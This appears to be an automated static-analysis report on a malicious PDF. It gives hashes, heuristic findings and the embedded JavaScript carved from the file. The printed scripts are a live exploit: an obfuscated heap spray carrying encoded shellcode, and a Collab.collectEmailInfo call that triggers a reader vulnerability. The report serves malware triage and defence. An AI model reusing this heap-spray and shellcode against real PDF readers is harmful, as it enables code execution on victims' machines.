Malicious PDF — malware analysis report

Static analysis result for SHA-256 f8cdf2e989591b48…

MALICIOUS

PDF

6.1 KB Created: 2010-02-19 16:37:54 +03:00 First seen: 2026-05-10
MD5: 4a9a4e8c294c40e7a4bc72257afe3f87 SHA-1: ca94a83a365c08780a01a166ecbfbbd17b6fcf8b SHA-256: f8cdf2e989591b48d8ec45e5df7cae2ac926d7fef7f45b3e2167986532f2dc0a
150 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell

The PDF file contains embedded JavaScript, indicated by multiple heuristic firings including PDF_JAVASCRIPT and PDF_JS. The unescape() function call suggests obfuscation of the script's content. Two JavaScript files were extracted, javascript_obj111111_000.js and javascript_obj111112_001.js. The primary function of the embedded JavaScript appears to be the execution of further malicious code, likely a downloader or dropper, based on the presence of obfuscated scripts and extracted files. The benign URLs present do not contribute to the malicious functionality.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9998

Heuristics 5

  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    hvalxw=unescape(hvalxw);
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.w3.org/1999/02/22-rdf-syntax-ns# In PDF document text
    • http://ns.adobe.com/xap/1.0/In PDF document text
    • http://purl.org/dc/elements/1.1/In PDF document text
    • http://ns.adobe.com/xap/1.0/mm/In PDF document text

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj111111_000.js pdf-javascript-stream PDF /JS object 111111 at offset 0x1C9 2228 bytes
SHA-256: f6f246aa6313499d3aaf9362edadd690f8789e496d2a754a06bfdfd66bfb7952
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 3 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var hvalxw = 'ARG0c0cARG0c0c'.replace(/ARG/g,'%u');
var iraokoi = 'ARG9090ARG9090'.replace(/ARG/g,'%u');
var ftitj6 = 'Z535XZ5251Z5756Z9c55ZXXe8ZXXXXZ5dXXZed83Z31XdZ64cXZ4XX3Z783XZ8bXcZXc4XZ7X8bZad1cZ4X8bZebX8Z8bX9Z344XZ4X8dZ8b7cZ3c4XZ5756Z5ebeZXXX1ZX1XXZbfeeZX14eZXXXXZefX1Zd6e8ZXXX1Z5fXXZ895eZ81eaZ5ec2ZXXX1Z52XXZ8X68ZXXXXZffXXZ4e95ZXXX1Z89XXZ81eaZ5ec2ZXXX1Z31XXZX1f6Z8ac2Z359cZX263ZXXXXZfb8XZ74XXZ88X6Z321cZeb46Zc6eeZ32X4Z89XXZ81eaZ45c2ZXXX2Z52XXZ95ffZX152ZXXXXZea89Zc281ZX25XZXXXXZ5X52Z95ffZX156ZXXXXZXX6aZXX6aZea89Zc281ZX15eZXXXXZ8952Z81eaZ78c2ZXXX2Z52XXZXX6aZdXffZX56aZea89Zc281ZX15eZXXXXZff52Z5a95ZXXX1Z89XXZ81eaZ5ec2ZXXX1Z52XXZ8X68ZXXXXZffXXZ4e95ZXXX1Z89XXZ81eaZ5ec2ZXXX1Z31XXZX1f6Z8ac2Z359cZX26eZXXXXZfb8XZ74XXZ88X6Z321cZeb46Zc6eeZ32X4Z89XXZ81eaZ45c2ZXXX2Z52XXZ95ffZX152ZXXXXZea89Zc281ZX25XZXXXXZ5X52Z95ffZX156ZXXXXZXX6aZXX6aZea89Zc281ZX15eZXXXXZ8952Z81eaZa6c2ZXXX2Z52XXZXX6aZdXffZX56aZea89Zc281ZX15eZXXXXZff52Z5a95ZXXX1Z9dXXZ5f5dZ5a5eZ5b59Zc358ZXXXXZXXXXZXXXXZXXXXZXXXXZXXXXZXXXXZXXXXZ6547Z5474Z6d65Z5X7XZ7461Z4168Z4cXXZ616fZ4c64Z6269Z6172Z7972ZXX41Z6547Z5X74Z6f72Z4163Z6464Z6572Z7373Z57XXZ6e69Z7845Z6365ZbbXXZf289Zf789ZcX3XZ75aeZ29fdZ89f7Z31f9ZbecXZXX3cZXXXXZb5X3ZX21bZXXXXZad66Z85X3ZX21bZXXXXZ7X8bZ8378Z1cc6Zb5X3ZX21bZXXXXZbd8dZX21fZXXXXZX3adZ1b85ZXXX2ZabXXZX3adZ1b85ZXXX2Z5XXXZadabZ85X3ZX21bZXXXXZ5eabZdb31Z56adZ85X3ZX21bZXXXXZc689Zd789Zfc51Za6f3Z7459Z5eX4Zeb43Z5ee9Zd193ZX3eXZ2785ZXXX2Z31XXZ96f6Zad66ZeXc1ZX3X2Z1f85ZXXX2Z89XXZadc6Z85X3ZX21bZXXXXZebc3ZXX1XZXXXXZXXXXZXXXXZXXXXZXXXXZXXXXZXXXXZ89XXZ1b85ZXXX2Z56XXZe857Zff58ZffffZ5e5fZX1abZ8XceZbb3eZX274ZedebZ55c3Z4c52Z4f4dZ2e4eZ4c44ZXX4cZ5255Z444cZ776fZ6c6eZ616fZ5464Z466fZ6c69Z4165Z7XXXZ6664Z7X75Z2e64Z7865ZXX65Z7263Z7361Z2e68Z687XZXX7XZ7468Z7X74Z2F3AZ382FZ3234Z3833Z3439Z3332Z3734Z3938Z3332Z632EZ6D6FZ342FZ6C2FZ7X2EZ7X68Z693FZ343DZ9XXX'.replace(/Z/g,'%u').replace(/X/g,'0');
hvalxw=unescape(hvalxw);
iraokoi=unescape(iraokoi);
ftitj6=unescape(ftitj6);
while (iraokoi.length * 2 < 0x3fffc8-ftitj6.length * 2){iraokoi += iraokoi;}
iraokoi = iraokoi.substr(0, (0x3fffc8-ftitj6.length * 2) / 2);
var xpjtbnk = new Array();
for (var hwivape = 0; hwivape < 47; hwivape ++ ){xpjtbnk[hwivape] = iraokoi + ftitj6;}
while (hvalxw.length < 44952){hvalxw += hvalxw;}
javascript_obj111112_001.js pdf-javascript-stream PDF /JS object 111112 at offset 0x5AE 66 bytes
SHA-256: dae8802d1988766c7c163e9ca5a381759ccfb667e67dc3dd4da2dfcbdb8a0f76
Preview script
First 1,000 lines of the extracted script
this.collabStore = Collab.collectEmailInfo({subj:"", msg:hvalxw});

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